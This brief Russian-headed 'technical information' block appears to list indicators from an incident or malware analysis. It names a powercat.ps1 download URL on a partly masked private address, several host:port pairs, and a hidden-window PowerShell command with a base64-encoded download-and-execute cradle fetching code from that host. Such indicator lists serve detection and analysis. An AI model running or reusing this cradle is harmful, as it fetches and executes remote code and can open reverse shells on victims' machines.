Техническая информация
- http://19#.##8.77.1:8000/powercat.ps1
- 'localhost':80
- '<LOCALNET>.77.1':8000
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -nop -w 1 -enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgA3ADcALgAxADoAOA...' (со скрытым окном)